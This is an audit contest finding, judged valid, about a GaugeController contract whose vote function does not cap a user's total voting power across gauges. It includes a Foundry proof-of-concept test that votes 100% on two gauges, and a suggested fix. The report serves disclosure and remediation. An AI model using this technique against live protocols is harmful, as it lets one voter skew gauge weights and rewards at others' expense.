Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Missing Vote Power Usage Limits in GaugeController Vote System

Summary

The GaugeController contract lacks proper tracking and validation of total voting power usage per user across multiple gauges. Users can allocate more than 100% of their voting power across different gauges, which violates the intended voting mechanism and could lead to unfair influence over gauge weights and reward distributions.

Vulnerability Details

The current implementation only validates individual vote weights but fails to track the total voting power used across all gauges:

/**
* @notice Core voting functionality for gauge weights
* @dev Updates gauge weights based on user's veToken balance
* @param gauge Address of gauge to vote for
* @param weight New weight value in basis points (0-10000)
*/
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
// Only checks if individual weight exceeds precision
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
}

This means a user can vote on multiple gauges with 100% of his voting power.

Example: A user could vote 100% on Gauge A and another 100% on Gauge B

PoC

In order to run the test you need to:

  1. Run foundryup to get the latest version of Foundry

  2. Install hardhat-foundry: npm install --save-dev @nomicfoundation/hardhat-foundry

  3. Import it in your Hardhat config: require("@nomicfoundation/hardhat-foundry");

  4. Make sure you've set the BASE_RPC_URL in the .env file or comment out the forking option in the hardhat config.

  5. Run npx hardhat init-foundry

  6. There is one file in the test folder that will throw an error during compilation so rename the file in test/unit/libraries/ReserveLibraryMock.sol to => ReserveLibraryMock.sol_broken so it doesn't get compiled anymore (we don't need it anyways).

  7. Create a new folder test/foundry

  8. Paste the below code into a new test file i.e.: FoundryTest.t.sol

  9. Run the test: forge test --mc FoundryTest -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "../../contracts/mocks/core/tokens/ERC20Mock.sol";
import {GaugeController} from "../../contracts/core/governance/gauges/GaugeController.sol";
import {RAACGauge} from "../../contracts/core/governance/gauges/RAACGauge.sol";
import {RWAGauge} from "../../contracts/core/governance/gauges/RWAGauge.sol";
import {veRAACToken} from "../../contracts/core/tokens/veRAACToken.sol";
import {IGaugeController} from "../../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
contract FoundryTest is Test {
// Contracts
ERC20Mock public raacToken;
ERC20Mock public stakingToken;
ERC20Mock public rewardToken;
veRAACToken public veToken;
GaugeController public controller;
RAACGauge public raacGauge;
RWAGauge public rwaGauge;
// Test addresses
address public admin = address(this);
address public alice = address(0x1);
address public bob = address(0x2);
address public carol = address(0x3);
// Constants
uint256 public constant INITIAL_SUPPLY = 1_000_000e18;
uint256 public constant LOCK_AMOUNT = 100_000e18;
uint256 public constant YEAR = 365 days;
function setUp() public {
// Deploy mock tokens
raacToken = new ERC20Mock("RAAC Token", "RAAC");
rewardToken = new ERC20Mock("Reward Token", "RWD");
// Deploy veToken
veToken = new veRAACToken(address(raacToken));
// Deploy controller
controller = new GaugeController(address(veToken));
// Deploy gauges
raacGauge = new RAACGauge(address(rewardToken), address(veToken), address(controller));
rwaGauge = new RWAGauge(address(rewardToken), address(veToken), address(controller));
// Setup initial token balances
raacToken.mint(alice, INITIAL_SUPPLY);
raacToken.mint(bob, INITIAL_SUPPLY);
rewardToken.mint(address(controller), INITIAL_SUPPLY * 10);
// Add gauges to controller
vm.startPrank(admin);
controller.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, 0);
controller.addGauge(address(rwaGauge), IGaugeController.GaugeType.RWA, 0);
vm.stopPrank();
// Setup approvals
vm.startPrank(alice);
raacToken.approve(address(veToken), type(uint256).max);
veToken.approve(address(raacGauge), type(uint256).max);
vm.stopPrank();
vm.startPrank(bob);
raacToken.approve(address(veToken), type(uint256).max);
veToken.approve(address(raacGauge), type(uint256).max);
vm.stopPrank();
}
function test_UnlimitedVotingPower() public {
vm.startPrank(alice);
veToken.lock(LOCK_AMOUNT, YEAR);
// vote two times with 100% weight
controller.vote(address(raacGauge), 10000);
controller.vote(address(rwaGauge), 10000);
vm.stopPrank();
// get actual gauge weights
uint256 gaugeWeightRAAC = controller.getGaugeWeight(address(raacGauge));
console2.log("Gauge Weight RAAC:", gaugeWeightRAAC);
uint256 gaugeWeightRWA = controller.getGaugeWeight(address(rwaGauge));
console2.log("Gauge Weight RWA:", gaugeWeightRWA);
}
}

Impact

  • Leads to disproportionate influence over gauge weights

  • Inflated gauge weights due to over-allocation of voting power

  • Skewed reward distribution across gauges

  • Undermines the democratic nature of the gauge weight voting system

Tools Used

  • Manual Review

  • Comparison with Curve's GaugeController implementation

  • Foundry

Recommendations

Add total power tracking per user:

// Add state variable
mapping(address => uint256) public userTotalVotingPower;
// Update vote function
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
// Calculate new total voting power
uint256 newTotalPower = userTotalVotingPower[msg.sender] - oldWeight + weight;
if (newTotalPower > WEIGHT_PRECISION) revert ExceedsVotingPower();
// Update state
userTotalVotingPower[msg.sender] = newTotalPower;
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote lacks total weight tracking, allowing users to allocate 100% of voting power to multiple gauges simultaneously

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote lacks total weight tracking, allowing users to allocate 100% of voting power to multiple gauges simultaneously

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.